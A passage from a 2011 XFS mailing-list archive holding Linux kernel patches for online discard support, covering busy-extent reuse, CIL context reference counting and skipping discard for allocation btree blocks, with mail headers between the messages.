+BBBBBBBBBBBBBBBBB+ + * +-----------------+ + * fbno fend + * + * Case 3: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +--------------------------+ + * fbno fend + * + * Case 4: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +--------------------------+ + * fbno fend + * + * Case 5: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-----------------------------------+ + * fbno fend + * + */ + + /* + * The busy extent is fully covered by the extent we are + * allocating, and can simply be removed from the rbtree. + * However we cannot remove it from the immutable list + * tracking busy extents in the transaction or CIL context, + * so set the length to zero to mark it invalid. + * + * We also need to restart the busy extent search from the + * tree root, as we just delete the rbtree node and thus cannot + * continue the search for other busy extents. + */ + rb_erase(&busyp->rb_node, &pag->pagb_tree); + busyp->length = 0; + spin_unlock(&pag->pagb_lock); + return false; + } else if (bbno == fbno) { + /* + * Case 6: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +---------+ + * fbno fend + * + * Case 7: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +------------------+ + * fbno fend + * + */ + busyp->bno = fend; + } else if (bend == fend) { + /* + * Case 8: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-------------+ + * fbno fend + * + * Case 9: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +----------------------+ + * fbno fend + */ + busyp->length = fbno - busyp->bno; + } else { + ASSERT(0); + } + + trace_xfs_alloc_busy_reuse(mp, pag->pag_agno, fbno, flen); + return true; + +out_force_log: + spin_unlock(&pag->pagb_lock); + xfs_log_force(mp, XFS_LOG_SYNC); + trace_xfs_alloc_busy_force(mp, pag->pag_agno, fbno, flen); + return false; +} + + +/* + * For a given extent [fbno, flen], make sure we can reuse it safely. + */ +void +xfs_alloc_busy_reuse( + struct xfs_mount *mp, + xfs_agnumber_t agno, + xfs_agblock_t fbno, + xfs_extlen_t flen, + bool userdata) +{ + struct xfs_perag *pag; + struct rb_node *rbp; + + ASSERT(flen > 0); + + pag = xfs_perag_get(mp, agno); +restart: + spin_lock(&pag->pagb_lock); + rbp = pag->pagb_tree.rb_node; + while (rbp) { + struct xfs_busy_extent *busyp = + rb_entry(rbp, struct xfs_busy_extent, rb_node); + xfs_agblock_t bbno = busyp->bno; + xfs_agblock_t bend = bbno + busyp->length; + + if (fbno + flen <= bbno) { + rbp = rbp->rb_left; + continue; + } else if (fbno >= bend) { + rbp = rbp->rb_right; + continue; + } + + if (!xfs_alloc_busy_update_extent(mp, pag, busyp, fbno, flen, + userdata)) + goto restart; + } + spin_unlock(&pag->pagb_lock); + xfs_perag_put(pag); +} + +/* * For a given extent [fbno, flen], search the busy extent list to find a * subset of the extent that is not busy. If *rlen is smaller than * args->minlen no suitable extent could be found, and the higher level @@ -2718,12 +2768,15 @@ xfs_alloc_busy_trim( xfs_agblock_t *rbno, xfs_extlen_t *rlen) { - xfs_agblock_t fbno = bno; - xfs_extlen_t flen = len; + xfs_agblock_t fbno; + xfs_extlen_t flen; struct rb_node *rbp; - ASSERT(flen > 0); + ASSERT(len > 0); +restart: + fbno = bno; + flen = len; spin_lock(&args->pag->pagb_lock); rbp = args->pag->pagb_tree.rb_node; while (rbp && flen >= args->minlen) { @@ -2741,6 +2794,18 @@ xfs_alloc_busy_trim( continue; } + /* + * If this is a metadata allocation, try to reuse the busy + * extent instead of trimming the allocation. + */ + if (!args->userdata) { + if (!xfs_alloc_busy_update_extent(args->mp, args->pag, + busyp, fbno, flen, + false)) + goto restart; + continue; + } + if (bbno <= fbno) { /* start overlap */ @@ -2878,6 +2943,11 @@ fail: * re-check if the trimmed extent satisfies the minlen requirement. */ spin_unlock(&args->pag->pagb_lock); + if (fbno != bno || flen != len) { + trace_xfs_alloc_busy_trim(args->mp, args->agno, bno, len, + fbno, flen); + } + trace_xfs_alloc_busy_trim(args->mp, args->agno, bno, len, fbno, 0); *rbno = fbno; *rlen = 0; } @@ -2889,17 +2959,15 @@ xfs_alloc_busy_clear( { struct xfs_perag *pag; - trace_xfs_alloc_unbusy(mp, busyp->agno, busyp->bno, - busyp->length); - - ASSERT(xfs_alloc_busy_search(mp, busyp->agno, busyp->bno, - busyp->length) == 1); - list_del_init(&busyp->list); pag = xfs_perag_get(mp, busyp->agno); spin_lock(&pag->pagb_lock); - rb_erase(&busyp->rb_node, &pag->pagb_tree); + if (busyp->length) { + trace_xfs_alloc_busy_clear(mp, busyp->agno, busyp->bno, + busyp->length); + rb_erase(&busyp->rb_node, &pag->pagb_tree); + } spin_unlock(&pag->pagb_lock); xfs_perag_put(pag); Index: xfs/fs/xfs/xfs_alloc.h =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.h 2011-03-31 12:19:07.000000000 +0200 +++ xfs/fs/xfs/xfs_alloc.h 2011-03-31 12:22:56.000000000 +0200 @@ -145,6 +145,10 @@ xfs_alloc_busy_clear(struct xfs_mount *m int xfs_alloc_busy_search(struct xfs_mount *mp, xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len); + +void +xfs_alloc_busy_reuse(struct xfs_mount *mp, xfs_agnumber_t agno, + xfs_agblock_t fbno, xfs_extlen_t flen, bool userdata); #endif /* __KERNEL__ */ /* Index: xfs/fs/xfs/xfs_alloc_btree.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc_btree.c 2011-03-31 12:19:07.000000000 +0200 +++ xfs/fs/xfs/xfs_alloc_btree.c 2011-03-31 12:22:56.000000000 +0200 @@ -94,8 +94,8 @@ xfs_allocbt_alloc_block( *stat = 0; return 0; } - if (xfs_alloc_busy_search(cur->bc_mp, cur->bc_private.a.agno, bno, 1)) - xfs_trans_set_sync(cur->bc_tp); + + xfs_alloc_busy_reuse(cur->bc_mp, cur->bc_private.a.agno, bno, 1, false); xfs_trans_agbtree_delta(cur->bc_tp, 1); new->s = cpu_to_be32(bno); @@ -120,17 +120,6 @@ xfs_allocbt_free_block( if (error) return error; - /* - * Since blocks move to the free list without the coordination used in - * xfs_bmap_finish, we can't allow block to be available for - * reallocation and non-transaction writing (user data) until we know - * that the transaction that moved it to the free list is permanently - * on disk. We track the blocks by declaring these blocks as "busy"; - * the busy list is maintained on a per-ag basis and each transaction - * records which entries should be removed when the iclog commits to - * disk. If a busy block is allocated, the iclog is pushed up to the - * LSN that freed the block. - */ xfs_alloc_busy_insert(cur->bc_tp, be32_to_cpu(agf->agf_seqno), bno, 1); xfs_trans_agbtree_delta(cur->bc_tp, -1); return 0; Index: xfs/fs/xfs/xfs_ag.h =================================================================== --- xfs.orig/fs/xfs/xfs_ag.h 2011-03-31 12:19:07.000000000 +0200 +++ xfs/fs/xfs/xfs_ag.h 2011-03-31 12:22:56.000000000 +0200 @@ -187,7 +187,6 @@ struct xfs_busy_extent { xfs_agnumber_t agno; xfs_agblock_t bno; xfs_extlen_t length; - xlog_tid_t tid; /* transaction that created this */ }; /* Index: xfs/fs/xfs/xfs_log.c =================================================================== --- xfs.orig/fs/xfs/xfs_log.c 2011-03-31 12:19:07.127590865 +0200 +++ xfs/fs/xfs/xfs_log.c 2011-03-31 12:22:56.000000000 +0200 @@ -3248,13 +3248,6 @@ xfs_log_ticket_get( return ticket; } -xlog_tid_t -xfs_log_get_trans_ident( - struct xfs_trans *tp) -{ - return tp->t_ticket->t_tid; -} - /* * Allocate and initialise a new log ticket. */ Index: xfs/fs/xfs/xfs_log.h =================================================================== --- xfs.orig/fs/xfs/xfs_log.h 2011-03-31 12:19:07.139592252 +0200 +++ xfs/fs/xfs/xfs_log.h 2011-03-31 12:22:56.000000000 +0200 @@ -189,8 +189,6 @@ void xlog_iodone(struct xfs_buf *); struct xlog_ticket *xfs_log_ticket_get(struct xlog_ticket *ticket); void xfs_log_ticket_put(struct xlog_ticket *ticket); -xlog_tid_t xfs_log_get_trans_ident(struct xfs_trans *tp); - void xfs_log_commit_cil(struct xfs_mount *mp, struct xfs_trans *tp, struct xfs_log_vec *log_vector, xfs_lsn_t *commit_lsn, int flags); Index: xfs/fs/xfs/xfs_log_priv.h =================================================================== --- xfs.orig/fs/xfs/xfs_log_priv.h 2011-03-31 12:19:07.000000000 +0200 +++ xfs/fs/xfs/xfs_log_priv.h 2011-03-31 12:22:56.000000000 +0200 @@ -144,6 +144,8 @@ static inline uint xlog_get_client_id(__ #define XLOG_RECOVERY_NEEDED 0x4 /* log was recovered */ #define XLOG_IO_ERROR 0x8 /* log hit an I/O error, and being shutdown */ +typedef __uint32_t xlog_tid_t; + #ifdef __KERNEL__ /* Index: xfs/fs/xfs/xfs_types.h =================================================================== --- xfs.orig/fs/xfs/xfs_types.h 2011-03-31 12:19:07.167591472 +0200 +++ xfs/fs/xfs/xfs_types.h 2011-03-31 12:22:56.000000000 +0200 @@ -73,8 +73,6 @@ typedef __int32_t xfs_tid_t; /* transact typedef __uint32_t xfs_dablk_t; /* dir/attr block number (in file) */ typedef __uint32_t xfs_dahash_t; /* dir/attr hash value */ -typedef __uint32_t xlog_tid_t; /* transaction ID type */ - /* * These types are 64 bits on disk but are either 32 or 64 bits in memory. * Disk based types: Index: xfs/fs/xfs/linux-2.6/xfs_trace.h =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_trace.h 2011-03-31 12:23:38.030091634 +0200 +++ xfs/fs/xfs/linux-2.6/xfs_trace.h 2011-03-31 12:24:16.758203747 +0200 @@ -1151,44 +1151,7 @@ TRACE_EVENT(xfs_bunmap, ); -#define XFS_BUSY_SYNC \ - { 0, "async" }, \ - { 1, "sync" } - -TRACE_EVENT(xfs_alloc_busy, - TP_PROTO(struct xfs_trans *trans, xfs_agnumber_t agno, - xfs_agblock_t agbno, xfs_extlen_t len, int sync), - TP_ARGS(trans, agno, agbno, len, sync), - TP_STRUCT__entry( - __field(dev_t, dev) - __field(struct xfs_trans *, tp) - __field(int, tid) - __field(xfs_agnumber_t, agno) - __field(xfs_agblock_t, agbno) - __field(xfs_extlen_t, len) - __field(int, sync) - ), - TP_fast_assign( - __entry->dev = trans->t_mountp->m_super->s_dev; - __entry->tp = trans; - __entry->tid = trans->t_ticket->t_tid; - __entry->agno = agno; - __entry->agbno = agbno; - __entry->len = len; - __entry->sync = sync; - ), - TP_printk("dev %d:%d trans 0x%p tid 0x%x agno %u agbno %u len %u %s", - MAJOR(__entry->dev), MINOR(__entry->dev), - __entry->tp, - __entry->tid, - __entry->agno, - __entry->agbno, - __entry->len, - __print_symbolic(__entry->sync, XFS_BUSY_SYNC)) - -); - -TRACE_EVENT(xfs_alloc_unbusy, +DECLARE_EVENT_CLASS(xfs_busy_class, TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, xfs_agblock_t agbno, xfs_extlen_t len), TP_ARGS(mp, agno, agbno, len), @@ -1210,36 +1173,16 @@ TRACE_EVENT(xfs_alloc_unbusy, __entry->agbno, __entry->len) ); - -#define XFS_BUSY_STATES \ - { 0, "missing" }, \ - { 1, "found" } - -TRACE_EVENT(xfs_alloc_busysearch, - TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, - xfs_agblock_t agbno, xfs_extlen_t len, int found), - TP_ARGS(mp, agno, agbno, len, found), - TP_STRUCT__entry( - __field(dev_t, dev) - __field(xfs_agnumber_t, agno) - __field(xfs_agblock_t, agbno) - __field(xfs_extlen_t, len) - __field(int, found) - ), - TP_fast_assign( - __entry->dev = mp->m_super->s_dev; - __entry->agno = agno; - __entry->agbno = agbno; - __entry->len = len; - __entry->found = found; - ), - TP_printk("dev %d:%d agno %u agbno %u len %u %s", - MAJOR(__entry->dev), MINOR(__entry->dev), - __entry->agno, - __entry->agbno, - __entry->len, - __print_symbolic(__entry->found, XFS_BUSY_STATES)) -); +#define DEFINE_BUSY_EVENT(name) \ +DEFINE_EVENT(xfs_busy_class, name, \ + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, \ + xfs_agblock_t agbno, xfs_extlen_t len), \ + TP_ARGS(mp, agno, agbno, len)) +DEFINE_BUSY_EVENT(xfs_alloc_busy); +DEFINE_BUSY_EVENT(xfs_alloc_busy_enomem); +DEFINE_BUSY_EVENT(xfs_alloc_busy_force); +DEFINE_BUSY_EVENT(xfs_alloc_busy_reuse); +DEFINE_BUSY_EVENT(xfs_alloc_busy_clear); TRACE_EVENT(xfs_alloc_busy_trim, TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, From BATV+8f8b69da4726ad372cd2+2776+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 31 06:26:40 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2VBQeHL137781 for ; Thu, 31 Mar 2011 06:26:40 -0500 X-ASG-Debug-ID: 1301570992-63ae029e0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 61229391846 for ; Thu, 31 Mar 2011 04:29:52 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id QVH0IPT0IbVIsu3t for ; Thu, 31 Mar 2011 04:29:52 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q5G4V-0006OZ-UW for xfs@oss.sgi.com; Thu, 31 Mar 2011 11:29:52 +0000 Message-Id: <20110331112850.980290062@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Thu, 31 Mar 2011 07:28:50 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 0/5] online discard support Subject: [PATCH 0/5] online discard support X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301570992 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean This patch series adds support for online discard of freed extents when commit the transaction to disk. The first patch is a hack to fix the block layer, which can't deal with the I/O patterns we submit and probably needs to be replaced with something better. From BATV+8f8b69da4726ad372cd2+2776+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 31 06:26:41 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2VBQeft137791 for ; Thu, 31 Mar 2011 06:26:41 -0500 X-ASG-Debug-ID: 1301570992-4da500ae0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id DD50614B2F19 for ; Thu, 31 Mar 2011 04:29:52 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id Ibyk1AKUG1odNG7P for ; Thu, 31 Mar 2011 04:29:52 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q5G4W-0006PE-5q for xfs@oss.sgi.com; Thu, 31 Mar 2011 11:29:52 +0000 Message-Id: <20110331112952.144090797@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Thu, 31 Mar 2011 07:28:51 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 1/5] block: do not try to merge discard requests Subject: [PATCH 1/5] block: do not try to merge discard requests References: <20110331112850.980290062@bombadil.infradead.org> Content-Disposition: inline; filename=blk-fix-discard-2 X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301570992 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Hack to not make the kernel crash when submitting multiple discard requests that the blocl layer otherwise tries to merge. Index: xfs/block/blk-core.c =================================================================== --- xfs.orig/block/blk-core.c 2011-03-30 16:04:45.700659775 +0200 +++ xfs/block/blk-core.c 2011-03-30 16:04:59.775160021 +0200 @@ -1247,7 +1247,7 @@ static int __make_request(struct request */ blk_queue_bounce(q, &bio); - if (bio->bi_rw & (REQ_FLUSH | REQ_FUA)) { + if (bio->bi_rw & (REQ_FLUSH | REQ_FUA | REQ_DISCARD)) { spin_lock_irq(q->queue_lock); where = ELEVATOR_INSERT_FLUSH; goto get_rq; From BATV+8f8b69da4726ad372cd2+2776+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 31 06:26:41 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.7 required=5.0 tests=BAYES_00,J_CHICKENPOX_44, J_CHICKENPOX_45 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2VBQf0m137817 for ; Thu, 31 Mar 2011 06:26:41 -0500 X-ASG-Debug-ID: 1301570993-4cfe005a0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A53B21D534AE for ; Thu, 31 Mar 2011 04:29:53 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 2PLHHAE6LtlE8jbA for ; Thu, 31 Mar 2011 04:29:53 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q5G4X-0006Rm-4T for xfs@oss.sgi.com; Thu, 31 Mar 2011 11:29:53 +0000 Message-Id: <20110331112953.077108253@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Thu, 31 Mar 2011 07:28:55 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 5/5] xfs: do not discard alloc btree blocks Subject: [PATCH 5/5] xfs: do not discard alloc btree blocks References: <20110331112850.980290062@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-dont-discard-allocbtblocks X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301570993 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Blocks for the allocation btree are allocated from and release to the AGFL, and thus frequently reused. Even worse we do not have an easy way to avoid using an AGFL block when it is discarded due to the simple FILO list of free blocks, and thus can frequently stall on blocks that are currently undergoing a discard. Add a flag to the busy extent tracking structure to skip the discard for allocation btree blocks. In normal operation these blocks are reused frequently enough that there is no need to discard them anyway, but if they spill over to the allocation btree as part of a balance we "leak" blocks that we would otherwise discard. We could fix this by adding another flag and keeping these block in the rbtree even after they aren't busy any more so that we could discard them when they migrate out of the AGFL. Given that this would cause significant overhead I don't think it's worthwile for now. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_ag.h =================================================================== --- xfs.orig/fs/xfs/xfs_ag.h 2011-03-31 12:27:55.475651908 +0200 +++ xfs/fs/xfs/xfs_ag.h 2011-03-31 12:32:18.650592820 +0200 @@ -189,6 +189,7 @@ struct xfs_busy_extent { xfs_extlen_t length; unsigned int flags; #define XFS_ALLOC_BUSY_DISCARDED 0x01 /* undergoing a discard op. */ +#define XFS_ALLOC_BUSY_SKIP_DISCARD 0x02 /* do not discard */ }; /* Index: xfs/fs/xfs/xfs_alloc_btree.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc_btree.c 2011-03-31 12:22:56.000000000 +0200 +++ xfs/fs/xfs/xfs_alloc_btree.c 2011-03-31 12:32:18.650592820 +0200 @@ -120,7 +120,8 @@ xfs_allocbt_free_block( if (error) return error; - xfs_alloc_busy_insert(cur->bc_tp, be32_to_cpu(agf->agf_seqno), bno, 1); + xfs_alloc_busy_insert(cur->bc_tp, be32_to_cpu(agf->agf_seqno), bno, 1, + XFS_ALLOC_BUSY_SKIP_DISCARD); xfs_trans_agbtree_delta(cur->bc_tp, -1); return 0; } Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-31 12:30:54.407636028 +0200 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-31 12:32:18.658593173 +0200 @@ -2458,7 +2458,7 @@ xfs_free_extent( #endif error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, len, 0); if (!error) - xfs_alloc_busy_insert(tp, args.agno, args.agbno, len); + xfs_alloc_busy_insert(tp, args.agno, args.agbno, len, 0); error0: xfs_perag_put(args.pag); return error; @@ -2469,7 +2469,8 @@ xfs_alloc_busy_insert( struct xfs_trans *tp, xfs_agnumber_t agno, xfs_agblock_t bno, - xfs_extlen_t len) + xfs_extlen_t len, + unsigned int flags) { struct xfs_busy_extent *new; struct xfs_busy_extent *busyp; @@ -2493,6 +2494,7 @@ xfs_alloc_busy_insert( new->bno = bno; new->length = len; INIT_LIST_HEAD(&new->list); + new->flags = flags; /* trace before insert to be able to see failed inserts */ trace_xfs_alloc_busy(tp->t_mountp, agno, bno, len); @@ -2982,7 +2984,7 @@ xfs_alloc_busy_prepare_discard( pag = xfs_perag_get(mp, busyp->agno); spin_lock(&pag->pagb_lock); - if (!busyp->length) + if (!busyp->length || (busyp->flags & XFS_ALLOC_BUSY_SKIP_DISCARD)) ret = false; busyp->flags = XFS_ALLOC_BUSY_DISCARDED; spin_unlock(&pag->pagb_lock); Index: xfs/fs/xfs/xfs_alloc.h =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.h 2011-03-31 12:27:55.483617993 +0200 +++ xfs/fs/xfs/xfs_alloc.h 2011-03-31 12:32:19.222130801 +0200 @@ -137,7 +137,7 @@ xfs_alloc_longest_free_extent(struct xfs #ifdef __KERNEL__ void xfs_alloc_busy_insert(struct xfs_trans *tp, xfs_agnumber_t agno, - xfs_agblock_t bno, xfs_extlen_t len); + xfs_agblock_t bno, xfs_extlen_t len, unsigned int flags); void xfs_alloc_busy_clear(struct xfs_mount *mp, struct xfs_busy_extent *busyp); From BATV+8f8b69da4726ad372cd2+2776+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 31 06:26:40 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2VBQeU1137789 for ; Thu, 31 Mar 2011 06:26:40 -0500 X-ASG-Debug-ID: 1301570992-5d1e032f0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id E1EC3391846 for ; Thu, 31 Mar 2011 04:29:52 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id GFWpXbCDYyoZk7dT for ; Thu, 31 Mar 2011 04:29:52 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q5G4W-0006Pr-Bt for xfs@oss.sgi.com; Thu, 31 Mar 2011 11:29:52 +0000 Message-Id: <20110331112952.333209372@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Thu, 31 Mar 2011 07:28:52 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 2/5] xfs: add a reference count to the CIL context Subject: [PATCH 2/5] xfs: add a reference count to the CIL context References: <20110331112850.980290062@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-cil-ctx-refcounting X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301570992 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean For the upcoming asynchronoyus discard support we need to be able to delay freeing the CIL context until the last discard request that reference it has completed. Add a reference count to the CIL context, and only clear the busy extents and free the CIL context structure when it reaches zero, and a work item to allow freeing it from irq context. Note that this means delaying the clearing of the busy extents for a little bit even on non-discard mounts, but with the new busy extent trim/reuse code there is no real life impact of this change. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_log_cil.c =================================================================== --- xfs.orig/fs/xfs/xfs_log_cil.c 2011-03-28 15:41:39.062838900 +0200 +++ xfs/fs/xfs/xfs_log_cil.c 2011-03-28 16:47:04.658839185 +0200 @@ -30,6 +30,46 @@ #include "xfs_error.h" #include "xfs_alloc.h" +static void +xlog_cil_ctx_free( + struct xfs_cil_ctx *ctx) +{ + struct xfs_busy_extent *busyp, *n; + + list_for_each_entry_safe(busyp, n, &ctx->busy_extents, list) + xfs_alloc_busy_clear(ctx->cil->xc_log->l_mp, busyp); + kmem_free(ctx); +} + +static void +xlog_cil_ctx_free_work( + struct work_struct *work) +{ + xlog_cil_ctx_free(container_of(work, struct xfs_cil_ctx, work)); +} + +static void +xlog_cil_ctx_init( + struct xfs_cil_ctx *ctx, + struct xfs_cil *cil, + xfs_lsn_t sequence) +{ + INIT_LIST_HEAD(&ctx->committing); + INIT_LIST_HEAD(&ctx->busy_extents); + ctx->sequence = sequence; + ctx->cil = cil; + atomic_set(&ctx->ref, 1); + INIT_WORK(&ctx->work, xlog_cil_ctx_free_work); + cil->xc_ctx = ctx; + + /* + * Mirror the sequence into the cil structure so that we can do + * unlocked checks against the current sequence in log forces without + * risking deferencing a freed context pointer. + */ + cil->xc_current_sequence = ctx->sequence; +} + /* * Perform initial CIL structure initialisation. If the CIL is not * enabled in this filesystem, ensure the log->l_cilp is null so @@ -63,12 +103,7 @@ xlog_cil_init( init_rwsem(&cil->xc_ctx_lock); init_waitqueue_head(&cil->xc_commit_wait); - INIT_LIST_HEAD(&ctx->committing); - INIT_LIST_HEAD(&ctx->busy_extents); - ctx->sequence = 1; - ctx->cil = cil; - cil->xc_ctx = ctx; - cil->xc_current_sequence = ctx->sequence; + xlog_cil_ctx_init(ctx, cil, 1); cil->xc_log = log; log->l_cilp = cil; @@ -361,20 +396,17 @@ xlog_cil_committed( int abort) { struct xfs_cil_ctx *ctx = args; - struct xfs_busy_extent *busyp, *n; xfs_trans_committed_bulk(ctx->cil->xc_log->l_ailp, ctx->lv_chain, ctx->start_lsn, abort); - list_for_each_entry_safe(busyp, n, &ctx->busy_extents, list) - xfs_alloc_busy_clear(ctx->cil->xc_log->l_mp, busyp); - spin_lock(&ctx->cil->xc_cil_lock); list_del(&ctx->committing); spin_unlock(&ctx->cil->xc_cil_lock); xlog_cil_free_logvec(ctx->lv_chain); - kmem_free(ctx); + if (atomic_dec_and_test(&ctx->ref)) + xlog_cil_ctx_free(ctx); } /* @@ -481,18 +513,7 @@ xlog_cil_push( * during log forces to extract the commit lsn of the sequence that * needs to be forced. */ - INIT_LIST_HEAD(&new_ctx->committing); - INIT_LIST_HEAD(&new_ctx->busy_extents); - new_ctx->sequence = ctx->sequence + 1; - new_ctx->cil = cil; - cil->xc_ctx = new_ctx; - - /* - * mirror the new sequence into the cil structure so that we can do - * unlocked checks against the current sequence in log forces without - * risking deferencing a freed context pointer. - */ - cil->xc_current_sequence = new_ctx->sequence; + xlog_cil_ctx_init(new_ctx, cil, ctx->sequence + 1); /* * The switch is now done, so we can drop the context lock and move out Index: xfs/fs/xfs/xfs_log_priv.h =================================================================== --- xfs.orig/fs/xfs/xfs_log_priv.h 2011-03-28 16:06:20.398888649 +0200 +++ xfs/fs/xfs/xfs_log_priv.h 2011-03-28 16:47:04.662839297 +0200 @@ -389,6 +389,8 @@ struct xfs_cil_ctx { struct xfs_log_vec *lv_chain; /* logvecs being pushed */ xfs_log_callback_t log_cb; /* completion callback hook. */ struct list_head committing; /* ctx committing list */ + atomic_t ref; /* reference count */ + struct work_struct work; /* for deferred freeing */ }; /* From BATV+8f8b69da4726ad372cd2+2776+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 31 06:26:41 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-4.9 required=5.0 tests=BAYES_00,LOCAL_GNU_PATCH 